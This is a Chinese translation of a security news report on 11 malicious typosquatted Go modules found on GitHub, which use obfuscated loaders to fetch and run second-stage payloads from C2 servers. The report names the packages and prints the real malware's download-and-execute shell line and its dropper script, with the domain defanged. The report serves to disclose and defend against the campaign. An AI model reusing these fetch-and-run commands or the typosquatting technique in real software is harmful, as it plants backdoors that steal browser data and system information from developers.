恶意Go模块肆虐GitHub:11个软件包暗藏内存加载型后门

阅读量21073

发布时间 : 2025-08-08 17:14:51

x
译文声明

本文是翻译文章,文章原作者 Ddos,文章来源:securityonline

原文地址:https://securityonline.info/the-malicious-go-modules-11-malicious-go-packages-found-on-github-deploying-stealthy-malware/

译文仅供参考,具体内容表达以及含义原文为准。

Socket 威胁研究团队近日发现了一波令人担忧的恶意 Go 软件包,其中部分仍在 GitHub 上可访问。这些包通过隐蔽的混淆加载器和实时的二阶段载荷,意图攻击开发者和持续集成(CI)流水线

此次行动与过去的开源供应链攻击类似。研究人员共发现了 11 个恶意 Go 模块,其中 8 个是“拼写劫持”(typosquatting)包,这些模块会在用户不知情的情况下投递二阶段恶意软件。它们通过 GitHub 等公共代码库分发,内部包含经过混淆的载荷加载器,能够在内存中直接执行命令,从而绕过基于磁盘的检测手段。

Socket 报告称:

“在运行时,这些代码会悄悄启动一个 shell,从一组可互换的 .icu 和 .tech C2(命令与控制)端点中拉取二阶段载荷,并直接在内存中执行。”

这种攻击方式危险性极高,因为它具备跨平台兼容性——既能影响基于 Linux 的构建系统,也能攻击 Windows 工作站。更令人担忧的是,在披露时,10 个 C2 URL 中有 6 个仍处于活跃状态

攻击者同时利用“拼写劫持”“命名空间混淆”来伪装成合法软件包。已发现的恶意模块包括:

  • github.com/stripedconsu/linker
  • github.com/agitatedleopa/stm
  • github.com/expertsandba/opt
  • github.com/wetteepee/hcloud-ip-floater
  • github.com/weightycine/replika
  • github.com/ordinarymea/tnsr_ids
  • github.com/ordinarymea/TNSR_IDS
  • github.com/cavernouskina/mcp-go
  • github.com/lastnymph/gouid
  • github.com/sinfulsky/gouid
  • github.com/briefinitia/gouid

每个包都在代码深处(往往隐藏在数百行之后)埋藏了危险命令。载荷通常通过一个基于索引的字符串数组构造,在运行时拼接成 shell 命令,例如:

/bin/sh -c wget -O - https://monsoletter[.]icu/storage/de373d0df/a31546bf | /bin/bash &

研究人员解释说,这种混淆手法是先建立一个字符串数组,再通过调用数组的不同索引,按顺序拼接成完整命令。

执行后,恶意软件会下载一个 shell 脚本,该脚本再根据操作系统类型拉取恶意的 ELF(Linux)或 PE(Windows)二进制文件并执行。

其中一个仍在线的脚本(来自 https://monsoletter[.]icu/storage/de373d0df/f0eee999)会先检查系统是否为 Linux 环境,再休眠 3600 秒(以躲避沙箱检测),然后下载二进制文件、赋予执行权限并运行:

#!/bin/bash

cd ~
if [[ "$OSTYPE" == "linux-gnu"* ]]; then
	if ! [ -f ./f0eee999 ]; then
		sleep 3600
		wget https://monsoletter[.]icu/storage/de373d0df/f0eee999
		chmod +x ./f0eee999
		app_process_id=$(pidof f0eee999)
		if [[ -z $app_process_id ]]; then
			./f0eee999
		fi
	fi
fi

下载的二进制文件(SHA256:844013025bf7c5d01e6f48df0e990103…)会读取浏览器数据、收集系统信息,并与外部服务器通信,从而在受害系统中建立后门访问。

其他恶意包(如 replika、tnsr_ids 以及 gouid 系列)则在 Windows 系统上使用 certutil.exe 执行类似命令,在后台下载并运行恶意 EXE 文件。

攻击者的常用手段之一是“拼写劫持”,即使用与合法模块名称极为相似的名称发布恶意包。

此外,Go 的去中心化特性也增加了风险——很难区分合法包与恶意仿冒包。开发者常直接从 GitHub 导入模块,这种不明确的信任边界更容易导致误安装。

虽然目前的溯源结果还不确定,但 Socket 指出,10 个恶意 URL 中有 7 个路径结构相同(/storage/de373d0df/a31546bf),且多个包共用相同的 C2 端点,这强烈暗示其中部分包出自同一攻击者之手。

“由于 C2 复用以及代码格式一致,我们更有信心认为部分恶意包来自同一威胁行为者。”

不过,单凭混淆方式一致并不能完全证明同一作者——在威胁行为者圈子里,代码复用十分常见。

本文翻译自securityonline 原文链接。如若转载请注明出处。
分享到:微信
+10赞
收藏
安全客
分享到:微信

发表评论

Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全KER All Rights Reserved 京ICP备08010314号-66